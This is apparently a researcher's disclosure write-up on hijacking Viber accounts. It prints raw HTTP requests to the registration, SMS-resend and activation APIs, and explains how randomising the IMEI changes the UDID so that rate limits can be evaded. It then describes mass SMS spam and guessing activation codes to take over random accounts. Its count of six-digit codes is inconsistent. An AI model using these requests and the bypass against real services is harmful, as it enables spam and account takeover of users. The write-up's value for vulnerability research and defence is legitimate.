Hijack a Large Set of Random Accounts using Activation Code in Viber Mobile


I. Introduction

In reviewing the code of Viber mobile, I have detected a critical exploit which allows an attacker to hijack a large set of random Viber account using activation code.

When registering a new user, there are some following steps in Viber.
Step 1: register a phone number

Step 2: Then, Viber sends an activation code though SMS or call to user for authentication.

In this process, Viber uses 3 following APIs.
API (a) /viber/viber.php?function=RegisterUser for registering a phone number

POST /viber/viber.php?function=RegisterUser HTTP/1.1
User-Agent: Android
Content-Type: application/x-www-form-urlencoded
Content-Length: 1326
Host: secure.viber.com
Connection: close
Accept-Encoding: gzip, deflate

XMLDOC=%3C%3Fxml+version%3D%271.0%27+encoding%3D%27utf-8%27+%3F%3E%0A%3CRegisterUserRequest%3E%0A++%3CPhoneNumber%3E0903010000%3C%2FPhoneNumber%3E%0A++%3CPushToken%3EGCM%3Adm-hOpf3H7g%3AAPA91bEDa5Y2IHDtAdIcGNfHuOzLRjeyA12DcrliSTrRpbyMlJZOhIZ5pQTsmF5isAuxBDHH_mmom8xyF8Pbu9cQ0rxtQDFXty0RFEaM_KRrOFZM_PawKZUIdiWEUsDlvkL3QXVXh0D0%3C%2FPushToken%3E%0A++%3CCountryIDDCode%3E84%3C%2FCountryIDDCode%3E%0A++%3CUDID%3E84c1d031d9952978d22fb99de5a2114fd07d20db%3C%2FUDID%3E%0A++%3CDeviceType%3EMi+MIX+2%3C%2FDeviceType%3E%0A++%3CDevice%3Ephone%3C%2FDevice%3E%0A++%3CSystemVersion%3E8.0.0%3C%2FSystemVersion%3E%0A++%3CSystem%3EAndroid%3C%2FSystem%3E%0A++%3CViberVersion%3E9.7.5.1%3C%2FViberVersion%3E%0A++%3CMCC%3E%3C%2FMCC%3E%0A++%3CMNC%3E%3C%2FMNC%3E%0A++%3CCC%3E%3C%2FCC%3E%0A++%3CVoIP%3E1%3C%2FVoIP%3E%0A++%3CLanguage%3Een%3C%2FLanguage%3E%0A++%3CNoHangup%3E0%3C%2FNoHangup%3E%0A++%3CANDROID_ID%3E904575e6dc0fecaa%3C%2FANDROID_ID%3E%0A++%3CSERIAL_NUMBER%3E4d4b1f5e%3C%2FSERIAL_NUMBER%3E%0A++%3CWIFI_MAC_ADDRESS%3E02%3A00%3A00%3A00%3A00%3A00%3C%2FWIFI_MAC_ADDRESS%3E%0A++%3CIMEI%3E867305036452964%3C%2FIMEI%3E%0A++%3CMCCSim%3E%3C%2FMCCSim%3E%0A++%3CMNCSim%3E%3C%2FMNCSim%3E%0A++%3CMCCNetwork%3E%3C%2FMCCNetwork%3E%0A++%3CMNCNetwork%3E%3C%2FMNCNetwork%3E%0A++%3CReRegisterState%3E0%3C%2FReRegisterState%3E%0A%3C%2FRegisterUserRequest%3E

API (b) /viber/viber.php?function=ResendSMS for sending an SMS

POST /viber/viber.php?function=ResendSMS HTTP/1.1
User-Agent: Android
Content-Type: application/x-www-form-urlencoded
Content-Length: 551
Host: secure.viber.com
Connection: close
Accept-Encoding: gzip, deflate

XMLDOC=%3CResendSMSRequest%3E%0A%20%20%20%3CUDID%3E49b3f83a56b655eb8fb79498a58858df3396f9df%3C%2FUDID%3E%0A%20%20%20%3CDevice%3Ephone%3C%2FDevice%3E%0A%20%20%20%3CSystem%3EAndroid%3C%2FSystem%3E%0A%20%20%20%3CLanguage%3Een%3C%2FLanguage%3E%0A%20%20%20%3CViberVersion%3E9.8.0.1%3C%2FViberVersion%3E%0A%20%20%20%3CMCCSim%3E%3C%2FMCCSim%3E%0A%20%20%20%3CMNCSim%3E%3C%2FMNCSim%3E%0A%20%20%20%3CMCCNetwork%3E%3C%2FMCCNetwork%3E%0A%20%20%20%3CMNCNetwork%3E%3C%2FMNCNetwork%3E%0A%20%20%20%3CAttemptNumber%3E1%3C%2FAttemptNumber%3E%0A%3C%2FResendSMSRequest%3E

API (c) /viber/viber.php?function=ActivateUser for activating user using Activation Code.

POST /viber/viber.php?function=ActivateUser HTTP/1.1
User-Agent: Android
Content-Type: application/x-www-form-urlencoded
Content-Length: 357
Host: secure.viber.com
Connection: close
Accept-Encoding: gzip, deflate

XMLDOC=%0D%0A%3CActivateUserRequest%3E%0D%0A%20%20%3CUDID%3Ee3fe6575ea3ff4d9f32b8a8db5b83db06422a6b2%3C%2FUDID%3E%0D%0A%20%20%3CActivationCode%3E231602%3C%2FActivationCode%3E%0D%0A%20%20%3CProtocolVersion%3E8%3C%2FProtocolVersion%3E%0D%0A%20%20%3CLanguage%3Een%3C%2FLanguage%3E%0D%0A%20%20%3CSystem%3EAndroid%3C%2FSystem%3E%0D%0A%3C%2FActivateUserRequest%3E

I have detected some following problems.
(1) Request (a) have not been set properly Rate Limit. So the attacker can traverse all users of Viber and sending this API.

(2) Request (b) have not been set properly Rate Limit (the same with (1)). So the attacker can spam and cause disturbance to all user of Viber.

(3) Request (c) can be used to take over a large sets of random Viber accounts.

Section II explains my technique in details. Section III describes the results and Section IV shows some references including the source code.

II. Description

In these 3 APIs, one can notice that the UDID takes a very important role (identity and more importantly for Rate Limit). By reversing Viber code and Dynamic Binary Instrumentation with Frida[1], I have studied the methods of generating UDID. Viber generates new UDID using the technique of SHA1 combining with a simple encryption method (as described in the below image).

With the input:
Input = CountryCode + PhoneNumber + IMEI
For example,
Input = 840903016060867305036452964
84: Country Code
0903016060: Phone Number
867305036452964: IMEI

To evade the rate limit technique of Viber, I have randomized the IMEI. Hence, UDID will change.

III. Results.

(1) Bypass RateLimit in API /viber/viber.php?function=RegisterUser.
Note that, Status 1 means success.

(2) Bypass RateLimit in API /viber/viber.php?function=ResendSMS.

Status 107: Rate Limit API
Note that, after changing new IMEI, Status Code is 1. Hence, the attacker can spam SMS to all users of Viber.

(3) Take over a large set of random accounts in Viber.

API (c) /viber/viber.php?function=ActivateUser is for checking valid user using Activation Code.

Note that, we can bruteforce the value of activation code.
ActivationCode%3E231602%3C%2FActivationCode

However, Viber sets the rate limit for checking the value. So it is impossible for the attacker to enumerate all possible combinations. However, activation codes contains 6 digits, which means 100000 different values.
Attacker can choose 4 random values, e.g. “206498, 128722, 187261, 928917”.

Viber has more than 1 billion users2. If attacker registers and sends SMS to all users of Viber (using API (a) and (b)). Assume that the generation of activation code is totally random. There will be
4 * (1000000000 / 100000) = 40 000
User with Activation Code belonging to the set of 4 numbers which attacker choose.
Hence, Attacker can take over a large set of random Viber Users.

Since I do not want to cause trouble to Viber users, I have just performed the experiment in a small set of users (which I can control). I can detect an Activation Code as described in the image below.


Nhận xét